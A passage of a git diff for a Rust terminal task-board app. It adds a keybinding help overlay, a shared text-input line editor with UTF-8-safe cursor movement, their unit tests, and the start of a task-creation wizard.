Backlog"),+ e("C-f", "Open the task's pane fullscreen"),+ e("d", "Show the task's git diff"),+ e("D", "Dependency graph overlay"),+ e("/", "Search tasks"),+ e("x", "Delete task"),+ e("q", "Quit"),+ ],+ },+ HelpSection {+ title: "Moving tasks",+ entries: &[+ e("m", "Move forward one column"),+ e("M", "Backlog straight to Running"),+ e("R", "Start research on a Backlog task, in place"),+ e("r", "Review β Running, or Running β Planning"),+ e("p", "Review β Planning, next phase (cyclic plugins)"),+ ],+ },+ HelpSection {+ title: "Project",+ entries: &[+ e(",", "Configuration"),+ e("P", "Select the workflow plugin"),+ e("e", "Toggle the project sidebar"),+ e("u", "Install the update, when one was found"),+ e("O", "Toggle the orchestrator (--experimental)"),+ ],+ },+ HelpSection {+ title: "Task pane",+ entries: &[+ e("C-d / C-u", "Page down / up"),+ e("PageDown / PageUp", "Page down / up"),+ e("C-n / C-p", "Scroll five lines down / up"),+ e("C-g", "Jump to the bottom"),+ e("C-f", "Toggle fullscreen"),+ e("C-q", "Close the pane"),+ e("anything else", "Forwarded to the agent, Esc included"),+ ],+ },+ HelpSection {+ title: "New task",+ entries: &[+ e("Enter", "Next step β or save, on the prompt"),+ e("S-Tab / C-b", "Back one step"),+ e("C-s", "Save from any step"),+ e("Esc", "Cancel"),+ e("\\ + Enter", "Newline in the prompt (also C-j, Alt+Enter)"),+ e("# @", "Insert a file path"),+ e("/", "Insert a skill command"),+ e("!", "Reference another task, creating a dependency"),+ ],+ },+ HelpSection {+ title: "Configuration",+ entries: &[+ e("h / l Tab", "Move between sections"),+ e("j / k", "Move between fields"),+ e("Enter / Space", "Toggle, or open the field"),+ e("C-s", "Save"),+ e("Esc", "Close, asking first if anything changed"),+ ],+ },+ HelpSection {+ title: "This overlay",+ entries: &[+ e("C-d / C-u", "Page down / up"),+ e("C-n / C-p", "Scroll five lines down / up"),+ e("j / k", "Scroll one line"),+ e("C-g / Home", "Jump to the bottom / top"),+ e("? / Esc / q", "Close"),+ ],+ },+ HelpSection {+ title: "Dependency graph",+ entries: &[+ e("h j k l", "Move between nodes and levels"),+ e("Space", "Mark an unblocked node"),+ e("a / c", "Mark all unblocked / clear marks"),+ e("Enter", "Move the marked tasks forward"),+ e("Esc / q", "Close"),+ ],+ },+];++/// One rendered row: whether it is indented (an entry rather than a section+/// title) and its text.+pub type Row = (bool, String);++fn section_rows(section: &HelpSection) -> Vec<Row> {+ let mut out = vec![(false, section.title.to_string())];+ for entry in section.entries {+ out.push((true, format!("{:<18}{}", entry.keys, entry.action)));+ }+ out+}++/// Rows the overlay draws, as one flat list.+pub fn rows() -> Vec<Row> {+ columns(1).into_iter().next().unwrap_or_default()+}++/// Split the table across `count` columns, balanced by height.+///+/// Sections stay whole: a heading in one column with its keys in the next is+/// worse than an uneven pair. Two columns roughly halve the height, which is+/// what lets the whole reference fit a normal window without scrolling.+pub fn columns(count: usize) -> Vec<Vec<Row>> {+ let count = count.max(1);+ let blocks: Vec<Vec<Row>> = HELP.iter().map(section_rows).collect();+ if count == 1 {+ return vec![join(&blocks)];+ }++ if blocks.is_empty() {+ return vec![Vec::new(); count];+ }+ let total: usize = blocks.iter().map(|b| b.len()).sum::<usize>() + blocks.len() - 1;+ let target = total.div_ceil(count);++ let mut out: Vec<Vec<Vec<Row>>> = vec![Vec::new(); count];+ let mut column = 0usize;+ let mut height = 0usize;+ for (i, block) in blocks.iter().enumerate() {+ let remaining_columns = count - column - 1;+ let remaining_blocks = blocks.len() - i;+ let would_be = height + block.len() + usize::from(height > 0);+ // Break when taking the block lands further from the target height than+ // leaving it. `abs_diff` on both sides: `height` can already be past+ // target, where a plain subtraction underflows.+ let overshoots = height > 0 && target.abs_diff(would_be) > target.abs_diff(height);+ if overshoots && remaining_columns > 0 && remaining_blocks > remaining_columns {+ column += 1;+ height = 0;+ }+ height += block.len() + usize::from(height > 0);+ out[column].push(block.clone());+ }++ out.iter().map(|blocks| join(blocks)).collect()+}++/// Concatenate section blocks with a blank row between them.+fn join(blocks: &[Vec<Row>]) -> Vec<Row> {+ let mut out = Vec::new();+ for block in blocks {+ if !out.is_empty() {+ out.push((false, String::new()));+ }+ out.extend(block.iter().cloned());+ }+ out+}++/// The width one column needs, in cells, before borders and padding.+pub fn content_width() -> usize {+ HELP.iter()+ .flat_map(section_rows)+ .map(|(indent, text)| text.chars().count() + if indent { 2 } else { 0 })+ .max()+ .unwrap_or(40)+}++#[cfg(test)]+#[path = "help_tests.rs"]+mod tests;diff --git a/src/tui/help_tests.rs b/src/tui/help_tests.rsnew file mode 100644index 0000000..27e3e05--- /dev/null+++ b/src/tui/help_tests.rs@@ -0,0 +1,186 @@+use super::*;++#[test]+fn every_entry_says_both_what_and_which() {+ for section in HELP {+ assert!(!section.title.is_empty());+ assert!(+ !section.entries.is_empty(),+ "section `{}` lists nothing",+ section.title+ );+ for entry in section.entries {+ assert!(!entry.keys.is_empty(), "in `{}`", section.title);+ assert!(!entry.action.is_empty(), "in `{}`", section.title);+ }+ }+}++#[test]+fn section_titles_are_unique() {+ let mut seen: Vec<&str> = Vec::new();+ for section in HELP {+ assert!(+ !seen.contains(§ion.title),+ "duplicate section `{}`",+ section.title+ );+ seen.push(section.title);+ }+}++/// The footer cannot show everything, so these keys are advertised only here.+/// Dropped from the table, they become undiscoverable.+#[test]+fn the_keys_advertised_nowhere_else_are_listed() {+ let listed: Vec<&str> = HELP+ .iter()+ .flat_map(|s| s.entries.iter().map(|e| e.keys))+ .collect();+ for key in ["C-n / C-p", "M", "D", "C-g", "C-q"] {+ assert!(+ listed.iter().any(|k| *k == key),+ "`{key}` is bound but not in the help table: {listed:?}"+ );+ }+}++#[test]+fn rows_render_titles_flush_and_entries_indented() {+ let rows = rows();+ let first = &rows[0];+ assert!(!first.0, "a section title is not indented");+ assert_eq!(first.1, HELP[0].title);++ let second = &rows[1];+ assert!(second.0, "an entry is indented");+ assert!(second.1.starts_with(HELP[0].entries[0].keys));+ assert!(second.1.contains(HELP[0].entries[0].action));+}++/// Sections are separated by a blank row, so the scroll offset can stay a plain+/// row index rather than needing to know about section structure.+#[test]+fn sections_are_separated_by_a_blank_row() {+ let rows = rows();+ let blanks = rows.iter().filter(|(_, text)| text.is_empty()).count();+ assert_eq!(blanks, HELP.len() - 1);+}++#[test]+fn the_content_width_covers_the_longest_row() {+ let width = content_width();+ for (indent, text) in rows() {+ let needed = text.chars().count() + if indent { 2 } else { 0 };+ assert!(needed <= width, "{needed} > {width} for {text:?}");+ }+}++/// The overlay is itself scrollable, and documents its own keys β a reference+/// that does not say how to read past its first screen is not much of one.+#[test]+fn the_overlay_documents_its_own_scrolling() {+ let section = HELP+ .iter()+ .find(|s| s.title == "This overlay")+ .expect("the overlay should list its own keys");+ let listed: Vec<&str> = section.entries.iter().map(|e| e.keys).collect();+ assert!(listed.iter().any(|k| k.contains("C-d")), "{listed:?}");+ assert!(listed.iter().any(|k| k.contains("Esc")), "{listed:?}");+}++/// Every scrollable surface uses the same chords, so both sections say so.+#[test]+fn the_scroll_chords_match_between_the_pane_and_the_overlay() {+ let chords = |title: &str| -> Vec<&str> {+ HELP.iter()+ .find(|s| s.title == title)+ .map(|s| s.entries.iter().map(|e| e.keys).collect())+ .unwrap_or_default()+ };+ for chord in ["C-d / C-u", "C-n / C-p"] {+ assert!(chords("Task pane").contains(&chord), "task pane: {chord}");+ assert!(chords("This overlay").contains(&chord), "overlay: {chord}");+ }+}++// --- columns ---++/// One column is the whole table, in order.+#[test]+fn a_single_column_holds_everything() {+ let columns = columns(1);+ assert_eq!(columns.len(), 1);+ assert_eq!(columns[0], rows());+}++/// Two columns roughly halve the height, which is the whole point: in one+/// column the reference is a tall thin strip that has to be scrolled even in a+/// large window.+#[test]+fn two_columns_are_roughly_balanced() {+ let columns = columns(2);+ assert_eq!(columns.len(), 2);+ let (a, b) = (columns[0].len(), columns[1].len());+ assert!(a > 0 && b > 0, "both columns carry something: {a}, {b}");++ let single = rows().len();+ assert!(+ a.max(b) < single * 3 / 4,+ "the taller column ({}) should be well under the single-column height ({single})",+ a.max(b)+ );+ assert!(+ a.abs_diff(b) <= single / 4,+ "columns are lopsided: {a} vs {b}"+ );+}++/// Nothing is lost or duplicated in the split.+#[test]+fn splitting_preserves_every_entry() {+ let flat: Vec<Row> = rows().into_iter().filter(|(_, t)| !t.is_empty()).collect();+ let mut split: Vec<Row> = columns(2)+ .into_iter()+ .flatten()+ .filter(|(_, t)| !t.is_empty())+ .collect();+ split.sort();+ let mut flat = flat;+ flat.sort();+ assert_eq!(flat, split);+}++/// A heading in one column with its keys in the next is worse than an uneven+/// pair of columns, so sections stay whole.+#[test]+fn a_section_is_never_split_across_columns() {+ for column in columns(2) {+ // Walk the column: every title must be followed by its own entries, and+ // a column must not open with an orphaned entry.+ assert!(+ column.first().map(|(indent, _)| !*indent).unwrap_or(true),+ "a column starts with an entry whose title is elsewhere"+ );+ }+ // And every title in HELP appears exactly once across the two columns.+ let titles: Vec<String> = columns(2)+ .into_iter()+ .flatten()+ .filter(|(indent, text)| !*indent && !text.is_empty())+ .map(|(_, text)| text)+ .collect();+ assert_eq!(titles.len(), HELP.len());+ for section in HELP {+ assert!(+ titles.iter().any(|t| t == section.title),+ "{}",+ section.title+ );+ }+}++#[test]+fn asking_for_no_columns_still_gives_one() {+ assert_eq!(columns(0).len(), 1);+}diff --git a/src/tui/input.rs b/src/tui/input.rsdeleted file mode 100644index 8553b49..0000000--- a/src/tui/input.rs+++ /dev/null@@ -1,18 +0,0 @@-/// Input mode for the TUI-#[derive(Debug, Clone, Copy, PartialEq, Eq)]-pub enum InputMode {- /// Normal mode - navigating the board- Normal,- /// Entering task title- InputTitle,- /// Selecting workflow plugin for the task- SelectPlugin,- /// Entering task description/prompt- InputDescription,-}--impl Default for InputMode {- fn default() -> Self {- Self::Normal- }-}diff --git a/src/tui/mod.rs b/src/tui/mod.rsindex 5e45054..1e78d86 100644--- a/src/tui/mod.rs+++ b/src/tui/mod.rs@@ -1,9 +1,12 @@mod app;pub mod board;+pub mod config_editor;pub mod dep_graph;-mod input;+pub mod help;pub mod shell_popup;+pub mod text_input;mod theme;+pub mod wizard;pub use app::App;pub use shell_popup::ShellPopup;diff --git a/src/tui/text_input.rs b/src/tui/text_input.rsnew file mode 100644index 0000000..474bb6b--- /dev/null+++ b/src/tui/text_input.rs@@ -0,0 +1,214 @@+//! The line editor shared by every text field in the TUI.+//!+//! Motion, deletion and word jumps live here once, so a fix to any of them+//! lands in every field at the same time.++use crossterm::event::{KeyCode, KeyEvent, KeyModifiers};++/// Text plus the caret, as one value.+///+/// The cursor is a **byte** offset rather than a char index because callers+/// slice the buffer directly β the `#`/`/`/`!` dropdowns splice at byte ranges+/// they computed themselves. That is also why every motion goes through the+/// boundary helpers below: `String` indexing panics mid-codepoint, so a cursor+/// left inside a multi-byte char is a crash waiting for the next keystroke.+///+/// The fields are public on purpose: those dropdowns do surgery this type has+/// no business modelling, and accessors would only add ceremony to the same+/// access.+#[derive(Debug, Clone, Default, PartialEq, Eq)]+pub struct TextInput {+ pub buffer: String,+ pub cursor: usize,+}++impl TextInput {+ pub fn new() -> Self {+ Self::default()+ }++ /// Replace the contents, putting the caret at the end β what every caller+ /// that loads an existing value into a field wants.+ pub fn set_text(&mut self, text: impl Into<String>) {+ self.buffer = text.into();+ self.cursor = self.buffer.len();+ }++ pub fn clear(&mut self) {+ self.buffer.clear();+ self.cursor = 0;+ }++ pub fn is_empty(&self) -> bool {+ self.buffer.is_empty()+ }++ pub fn as_str(&self) -> &str {+ &self.buffer+ }++ pub fn insert_char(&mut self, c: char) {+ self.buffer.insert(self.cursor, c);+ self.cursor += c.len_utf8();+ }++ pub fn backspace(&mut self) {+ if self.cursor > 0 {+ let start = prev_char_boundary(&self.buffer, self.cursor);+ self.buffer.drain(start..self.cursor);+ self.cursor = start;+ }+ }++ pub fn delete_forward(&mut self) {+ if self.cursor < self.buffer.len() {+ let end = next_char_boundary(&self.buffer, self.cursor);+ self.buffer.drain(self.cursor..end);+ }+ }++ pub fn delete_word_left(&mut self) {+ let start = word_boundary_left(&self.buffer, self.cursor);+ self.buffer.drain(start..self.cursor);+ self.cursor = start;+ }++ pub fn left(&mut self) {+ self.cursor = prev_char_boundary(&self.buffer, self.cursor);+ }++ pub fn right(&mut self) {+ self.cursor = next_char_boundary(&self.buffer, self.cursor);+ }++ pub fn home(&mut self) {+ self.cursor = 0;+ }++ pub fn end(&mut self) {+ self.cursor = self.buffer.len();+ }++ pub fn word_left(&mut self) {+ self.cursor = word_boundary_left(&self.buffer, self.cursor);+ }++ pub fn word_right(&mut self) {+ self.cursor = word_boundary_right(&self.buffer, self.cursor);+ }++ /// Apply one editing key, reporting whether it was consumed.+ ///+ /// Callers match their **own** keys first and delegate the rest here, so a+ /// field that gives `/` a special meaning still gets `/` inserted verbatim+ /// when its own guard declines. Reporting rather than swallowing is what+ /// lets a caller keep a fallback arm.+ ///+ /// `Enter` and `Esc` are deliberately absent: they mean submit, newline,+ /// step-back or cancel depending on the field, and none of those is this+ /// type's decision.+ pub fn handle_edit_key(&mut self, key: KeyEvent) -> bool {+ let alt = key.modifiers.contains(KeyModifiers::ALT);+ let ctrl = key.modifiers.contains(KeyModifiers::CONTROL);+ match key.code {+ // macOS sends Option+Left/Right as Alt+b / Alt+f, so both spellings+ // of word motion have to be here.+ KeyCode::Left if alt => self.word_left(),+ KeyCode::Right if alt => self.word_right(),+ KeyCode::Char('b') if alt => self.word_left(),+ KeyCode::Char('f') if alt => self.word_right(),+ KeyCode::Backspace if alt => self.delete_word_left(),+ KeyCode::Left => self.left(),+ KeyCode::Right => self.right(),+ KeyCode::Home => self.home(),+ KeyCode::End => self.end(),+ KeyCode::Backspace => self.backspace(),+ KeyCode::Delete => self.delete_forward(),+ // A chord is not text: `Ctrl+X` must not type an "x". Declining it+ // is also what lets a caller give a chord its own meaning and still+ // receive the key.+ KeyCode::Char(c) if !ctrl && !alt => self.insert_char(c),+ _ => return false,+ }+ true+ }+}++impl From<String> for TextInput {+ fn from(text: String) -> Self {+ let cursor = text.len();+ Self {+ buffer: text,+ cursor,+ }+ }+}++/// Snap `pos` back to the nearest UTF-8 char boundary at or before it.+/// Cursor arithmetic tracks bytes, but String indexing panics mid-codepoint β+/// callers use this to stay valid after moving across multi-byte chars.+pub fn prev_char_boundary(s: &str, pos: usize) -> usize {+ if pos == 0 {+ return 0;+ }+ let mut new_pos = pos - 1;+ while new_pos > 0 && !s.is_char_boundary(new_pos) {+ new_pos -= 1;+ }+ new_pos+}++/// Snap `pos` forward to the next UTF-8 char boundary (or `s.len()` if none).+/// See `prev_char_boundary` for why byte-indexed cursors need this.+pub fn next_char_boundary(s: &str, pos: usize) -> usize {+ let len = s.len();+ if pos >= len {+ return len;+ }+ let mut new_pos = pos + 1;+ while new_pos < len && !s.is_char_boundary(new_pos) {+ new_pos += 1;+ }+ new_pos+}++/// Find the previous word boundary (for Option+Left)+pub fn word_boundary_left(s: &str, pos: usize) -> usize {+ if pos == 0 {+ return 0;+ }+ let bytes = s.as_bytes();+ let mut i = pos - 1;+ // Skip whitespace/punctuation+ while i > 0 && !bytes[i].is_ascii_alphanumeric() {+ i -= 1;+ }+ // Skip word characters+ while i > 0 && bytes[i - 1].is_ascii_alphanumeric() {+ i -= 1;+ }+ i+}++/// Find the next word boundary (for Option+Right)+pub fn word_boundary_right(s: &str, pos: usize) -> usize {+ let len = s.len();+ if pos >= len {+ return len;+ }+ let bytes = s.as_bytes();+ let mut i = pos;+ // Skip current word characters+ while i < len && bytes[i].is_ascii_alphanumeric() {+ i += 1;+ }+ // Skip whitespace/punctuation+ while i < len && !bytes[i].is_ascii_alphanumeric() {+ i += 1;+ }+ i+}++#[cfg(test)]+#[path = "text_input_tests.rs"]+mod tests;diff --git a/src/tui/text_input_tests.rs b/src/tui/text_input_tests.rsnew file mode 100644index 0000000..f57fcda--- /dev/null+++ b/src/tui/text_input_tests.rs@@ -0,0 +1,332 @@+use super::*;++fn key(code: KeyCode) -> KeyEvent {+ KeyEvent::new(code, KeyModifiers::NONE)+}++fn alt(code: KeyCode) -> KeyEvent {+ KeyEvent::new(code, KeyModifiers::ALT)+}++fn typed(text: &str) -> TextInput {+ let mut input = TextInput::new();+ for c in text.chars() {+ input.insert_char(c);+ }+ input+}++#[test]+fn typing_advances_the_caret() {+ let input = typed("hello");+ assert_eq!(input.as_str(), "hello");+ assert_eq!(input.cursor, 5);+}++#[test]+fn insert_happens_at_the_caret_not_the_end() {+ let mut input = typed("helo");+ input.left();+ input.insert_char('l');+ assert_eq!(input.as_str(), "hello");+ assert_eq!(input.cursor, 4);+}++#[test]+fn backspace_deletes_before_the_caret() {+ let mut input = typed("hello");+ input.backspace();+ assert_eq!(input.as_str(), "hell");+ assert_eq!(input.cursor, 4);+}++#[test]+fn backspace_at_the_start_is_a_no_op() {+ let mut input = typed("hi");+ input.home();+ input.backspace();+ assert_eq!(input.as_str(), "hi");+ assert_eq!(input.cursor, 0);+}++#[test]+fn delete_forward_removes_the_char_under_the_caret() {+ let mut input = typed("hello");+ input.home();+ input.delete_forward();+ assert_eq!(input.as_str(), "ello");+ assert_eq!(input.cursor, 0);+}++#[test]+fn delete_forward_at_the_end_is_a_no_op() {+ let mut input = typed("hi");+ input.delete_forward();+ assert_eq!(input.as_str(), "hi");+}++/// The reason the cursor is snapped rather than incremented: a byte-stepping+/// caret lands inside a multi-byte char, and the next `drain` panics.+#[test]+fn motion_lands_on_char_boundaries_for_multibyte_text() {+ let mut input = typed("hΓ©llo");+ input.home();+ input.right();+ assert_eq!(input.cursor, 1);+ input.right();+ assert_eq!(input.cursor, 3, "Γ© is two bytes, so the caret skips both");+ input.left();+ assert_eq!(input.cursor, 1);+}++#[test]+fn backspace_removes_a_whole_multibyte_char() {+ let mut input = typed("aΓ©");+ input.backspace();+ assert_eq!(input.as_str(), "a");+ assert_eq!(input.cursor, 1);+}++#[test]+fn backspace_removes_a_whole_emoji() {+ let mut input = typed("okπ");+ input.backspace();+ assert_eq!(input.as_str(), "ok");+ assert_eq!(input.cursor, 2);+}++#[test]+fn word_motion_crosses_words_and_stops_at_the_ends() {+ let mut input = typed("hello world");+ input.word_left();+ assert_eq!(input.cursor, 6);+ input.word_left();+ assert_eq!(input.cursor, 0);+ input.word_left();+ assert_eq!(input.cursor, 0, "already at the start");+ input.word_right();+ assert_eq!(input.cursor, 6);+ input.word_right();+ assert_eq!(input.cursor, 11);+ input.word_right();+ assert_eq!(input.cursor, 11, "already at the end");+}++#[test]+fn delete_word_left_removes_the_preceding_word() {+ let mut input = typed("hello world");+ input.delete_word_left();+ assert_eq!(input.as_str(), "hello ");+ assert_eq!(input.cursor, 6);+}++#[test]+fn set_text_puts_the_caret_at_the_end() {+ let mut input = typed("old");+ input.home();+ input.set_text("a longer value");+ assert_eq!(input.as_str(), "a longer value");+ assert_eq!(input.cursor, 14);+}++#[test]+fn clear_resets_both_halves() {+ let mut input = typed("something");+ input.clear();+ assert!(input.is_empty());+ assert_eq!(input.cursor, 0);+}++// --- handle_edit_key ---++#[test]+fn edit_keys_are_consumed_and_applied() {+ let mut input = typed("hello");+ assert!(input.handle_edit_key(key(KeyCode::Home)));+ assert_eq!(input.cursor, 0);+ assert!(input.handle_edit_key(key(KeyCode::End)));+ assert_eq!(input.cursor, 5);+ assert!(input.handle_edit_key(key(KeyCode::Backspace)));+ assert_eq!(input.as_str(), "hell");+ assert!(input.handle_edit_key(key(KeyCode::Char('o'))));+ assert_eq!(input.as_str(), "hello");+}++/// macOS sends Option+Left/Right as Alt+b / Alt+f, so both spellings have to+/// move by a word rather than typing a literal `b` or `f`.+#[test]+fn alt_b_and_alt_f_move_by_word_instead_of_typing() {+ let mut input = typed("hello world");+ input.handle_edit_key(alt(KeyCode::Char('b')));+ assert_eq!(input.cursor, 6);+ assert_eq!(input.as_str(), "hello world", "no literal b was inserted");+ input.handle_edit_key(alt(KeyCode::Char('f')));+ assert_eq!(input.cursor, 11);+ assert_eq!(input.as_str(), "hello world");+}++#[test]+fn alt_arrows_move_by_word() {+ let mut input = typed("hello world");+ input.handle_edit_key(alt(KeyCode::Left));+ assert_eq!(input.cursor, 6);+ input.handle_edit_key(alt(KeyCode::Right));+ assert_eq!(input.cursor, 11);+}++#[test]+fn alt_backspace_deletes_a_word() {+ let mut input = typed("hello world");+ input.handle_edit_key(alt(KeyCode::Backspace));+ assert_eq!(input.as_str(), "hello ");+}++/// The caller keeps a fallback arm, so an unhandled key must be reported+/// rather than swallowed β and Enter/Esc are the caller's to interpret.+#[test]+fn unhandled_keys_are_declined() {+ let mut input = typed("x");+ assert!(!input.handle_edit_key(key(KeyCode::Enter)));+ assert!(!input.handle_edit_key(key(KeyCode::Esc)));+ assert!(!input.handle_edit_key(key(KeyCode::Tab)));+ assert!(!input.handle_edit_key(key(KeyCode::Up)));+ assert_eq!(input.as_str(), "x", "declined keys change nothing");+}++/// A field that gives `/` its own meaning declines it in its own match and+/// falls through to here, where it must arrive as ordinary text.+#[test]+fn trigger_characters_insert_when_the_caller_declines_them() {+ let mut input = TextInput::new();+ for c in ['#', '/', '!', '@'] {+ assert!(input.handle_edit_key(key(KeyCode::Char(c))));+ }+ assert_eq!(input.as_str(), "#/!@");+}++// --- word boundaries ---++#[test]+fn word_boundary_left_from_the_end_of_the_string() {+ assert_eq!(word_boundary_left("hello world", 11), 6);+}++#[test]+fn word_boundary_left_from_a_word_start_crosses_to_the_previous_one() {+ assert_eq!(word_boundary_left("hello world", 6), 0);+}++#[test]+fn word_boundary_left_from_the_end_of_the_first_word() {+ assert_eq!(word_boundary_left("hello world", 5), 0);+}++#[test]+fn word_boundary_left_from_mid_word() {+ assert_eq!(word_boundary_left("hello world", 8), 6);+}++#[test]+fn word_boundary_left_at_the_start_stays() {+ assert_eq!(word_boundary_left("hello", 0), 0);+ assert_eq!(word_boundary_left("hello world", 0), 0);+}++#[test]+fn word_boundary_left_skips_a_run_of_spaces() {+ assert_eq!(word_boundary_left("hello world", 13), 8);+}++/// Punctuation is not a word character, so a path walks segment by segment.+#[test]+fn word_boundary_left_stops_inside_a_path() {+ assert_eq!(word_boundary_left("src/main.rs", 11), 9);+}++#[test]+fn word_boundary_right_from_the_start() {+ assert_eq!(word_boundary_right("hello world", 0), 6);+}++#[test]+fn word_boundary_right_from_a_space() {+ assert_eq!(word_boundary_right("hello world", 5), 6);+}++#[test]+fn word_boundary_right_from_mid_word() {+ assert_eq!(word_boundary_right("hello world", 3), 6);+ assert_eq!(word_boundary_right("hello world", 2), 6);+}++#[test]+fn word_boundary_right_at_the_end_stays() {+ assert_eq!(word_boundary_right("hello", 5), 5);+}++#[test]+fn word_boundary_right_skips_a_run_of_spaces() {+ assert_eq!(word_boundary_right("hello world", 0), 8);+}++#[test]+fn word_boundary_right_stops_inside_a_path() {+ assert_eq!(word_boundary_right("src/main.rs", 0), 4);+}++#[test]+fn word_boundaries_handle_the_empty_string() {+ assert_eq!(word_boundary_left("", 0), 0);+ assert_eq!(word_boundary_right("", 0), 0);+}++#[test]+fn word_boundary_round_trip_returns_to_the_start() {+ let s = "hello world foo";+ let pos = word_boundary_right(s, 0); // -> 6 (start of "world")+ let pos = word_boundary_right(s, pos); // -> 12 (start of "foo")+ let pos = word_boundary_left(s, pos); // -> 6 (start of "world")+ let pos = word_boundary_left(s, pos); // -> 0 (start of "hello")+ assert_eq!(pos, 0);+}++// --- char boundaries ---++#[test]+fn char_boundaries_clamp_at_the_ends() {+ assert_eq!(prev_char_boundary("abc", 0), 0);+ assert_eq!(next_char_boundary("abc", 3), 3);+ assert_eq!(next_char_boundary("abc", 99), 3);+}++/// The whole reason these exist: a byte offset landing mid-codepoint would+/// panic the next time anything sliced the buffer.+#[test]+fn char_boundaries_never_land_mid_codepoint() {+ let s = "hΓ©lloπ!";+ for pos in 0..=s.len() {+ assert!(s.is_char_boundary(prev_char_boundary(s, pos)));+ assert!(s.is_char_boundary(next_char_boundary(s, pos)));+ }+}++/// A chord is not text, and declining it is also what lets a caller give a+/// chord its own meaning and still receive the key.+#[test]+fn modified_characters_are_declined_rather_than_typed() {+ let mut input = typed("abc");+ for modifiers in [KeyModifiers::CONTROL, KeyModifiers::ALT] {+ assert!(!input.handle_edit_key(KeyEvent::new(KeyCode::Char('x'), modifiers)));+ }+ assert_eq!(input.as_str(), "abc");+}++/// The two exceptions, which are word motion rather than text: macOS sends+/// Option+Left/Right as Alt+b / Alt+f.+#[test]+fn alt_b_and_alt_f_remain_the_exception() {+ let mut input = typed("hello world");+ assert!(input.handle_edit_key(alt(KeyCode::Char('b'))));+ assert!(input.handle_edit_key(alt(KeyCode::Char('f'))));+ assert_eq!(input.as_str(), "hello world");+}diff --git a/src/tui/wizard.rs b/src/tui/wizard.rsnew file mode 100644index 0000000..303c425--- /dev/null+++ b/src/tui/wizard.rs@@ -0,0 +1,393 @@+//! The task creation / edit wizard: one state value for the whole flow.+//!+//! `WizardState` holds every field at once β both text inputs, both list picks,+//! the step. That is what makes back-navigation work: stepping back has to find+//! the earlier answers still intact.+//!+//! It is also why the "seeded" flags exist. A step re-entered from the right+//! must not re-initialise itself over what the user already chose there.++use std::collections::HashSet;++use super::text_input::TextInput;++/// One option offered by a picker, with the blurb shown beside it.+///+/// Shared by the agent step, the plugin step and the board's `P` popup: the+/// same kind of choice in three places.+#[derive(Debug, Clone)]+pub struct PickOption {+ /// What is stored. `""` means "none", which for a plugin is the agtx+ /// default.+ pub name: String,+ pub label: String,+ pub description: String,+ /// Currently active for this project, drawn with a check.+ pub active: bool,+}++impl PickOption {+ pub fn new(name: &str, label: &str, description: &str, active: bool) -> Self {+ Self {+ name: name.to_string(),+ label: label.to_string(),+ description: description.to_string(),+ active,+ }+ }++ fn matches(&self, needle: &str) -> bool {+ if needle.is_empty() {+ return true;+ }+ let needle = needle.to_lowercase();+ self.label.to_lowercase().contains(&needle)+ || self.description.to_lowercase().contains(&needle)+ }+}++/// A pick-one-from-a-list step, with an optional filter.+///+/// `selected` indexes `options`, not the filtered view, so a filter that+/// narrows and widens again leaves the cursor on the same option rather than on+/// whatever now sits at that position.+#[derive(Debug, Clone, Default)]+pub struct ListPick {+ pub options: Vec<PickOption>,+ pub selected: usize,+ /// `Some` while `/` filtering is open. Empty-but-present means "filtering,+ /// nothing typed yet", which still shows the filter in the border.+ pub filter: Option<TextInput>,+ seeded: bool,+}++impl ListPick {+ /// Indices of the options the filter admits, in order.+ pub fn matching(&self) -> Vec<usize> {+ let needle = self.filter.as_ref().map(|f| f.as_str()).unwrap_or("");+ self.options+ .iter()+ .enumerate()+ .filter(|(_, o)| o.matches(needle))+ .map(|(i, _)| i)+ .collect()+ }++ /// Where the cursor sits within the filtered view, for the scrollbar.+ pub fn position(&self) -> usize {+ self.matching()+ .iter()+ .position(|i| *i == self.selected)+ .unwrap_or(0)+ }++ pub fn selected_option(&self) -> Option<&PickOption> {+ self.options.get(self.selected)+ }++ pub fn select_next(&mut self) {+ let visible = self.matching();+ if let Some(pos) = visible.iter().position(|i| *i == self.selected) {+ if let Some(next) = visible.get(pos + 1) {+ self.selected = *next;+ }+ } else if let Some(first) = visible.first() {+ self.selected = *first;+ }+ }++ pub fn select_prev(&mut self) {+ let visible = self.matching();+ if let Some(pos) = visible.iter().position(|i| *i == self.selected) {+ if pos > 0 {+ self.selected = visible[pos - 1];+ }+ } else if let Some(first) = visible.first() {+ self.selected = *first;+ }+ }++ pub fn cycle(&mut self) {+ let visible = self.matching();+ if visible.is_empty() {+ return;+ }+ let pos = visible+ .iter()+ .position(|i| *i == self.selected)+ .unwrap_or(0);+ self.selected = visible[(pos + 1) % visible.len()];+ }++ pub fn start_filter(&mut self) {+ self.filter.get_or_insert_with(TextInput::new);+ }++ pub fn stop_filter(&mut self) {+ self.filter = None;+ }++ pub fn is_filtering(&self) -> bool {+ self.filter.is_some()+ }++ /// Move the cursor onto a visible option, if the filter has excluded it.+ /// Call after every change to the filter text.+ pub fn settle(&mut self) {+ let visible = self.matching();+ if visible.is_empty() {+ return;+ }+ if !visible.contains(&self.selected) {+ self.selected = visible[0];+ }+ }++ /// True the first time only, so a step seeds itself once per run.+ pub fn take_seed(&mut self) -> bool {+ !std::mem::replace(&mut self.seeded, true)+ }++ /// Whether the step is worth showing: one option is not a choice.+ pub fn is_a_choice(&self) -> bool {+ self.options.len() > 1+ }+}++#[derive(Debug, Clone, Copy, PartialEq, Eq)]+pub enum WizardStep {+ Title,+ Agent,+ Plugin,+ Prompt,+}++impl WizardStep {+ pub fn label(self) -> &'static str {+ match self {+ Self::Title => "Title",+ Self::Agent => "Agent",+ Self::Plugin => "Plugin",+ Self::Prompt => "Prompt",+ }+ }++ /// Whether this step is a list rather than a text field.+ pub fn is_list(self) -> bool {+ matches!(self, Self::Agent | Self::Plugin)+ }+}++#[derive(Debug, Clone)]+pub struct WizardState {+ step: WizardStep,+ /// Which optional steps this run includes. Decided after the title step,+ /// once the options are known: with one agent or one plugin there is+ /// nothing to pick.+ agent_step: bool,+ plugin_step: bool,+ pub title: TextInput,+ pub prompt: TextInput,+ pub agent: ListPick,+ pub plugin: ListPick,+ /// `Some(id)` when editing an existing task, `None` when creating.+ pub editing_task_id: Option<String>,+ pub referenced_task_ids: HashSet<String>,+ /// File paths, skill commands and task references inserted through the+ /// `#` / `/` / `!` dropdowns, highlighted in the rendered prompt.+ pub highlighted_references: HashSet<String>,+ /// Why the last save or advance was refused. Cleared on the next keystroke,+ /// so it never outlives the mistake it describes.+ pub validation: Option<String>,+ /// The prompt has been loaded for this run. Re-entering the step must not+ /// reload it from the database, or an edit made before stepping back is+ /// silently discarded.+ prompt_seeded: bool,+}++impl WizardState {+ /// A fresh 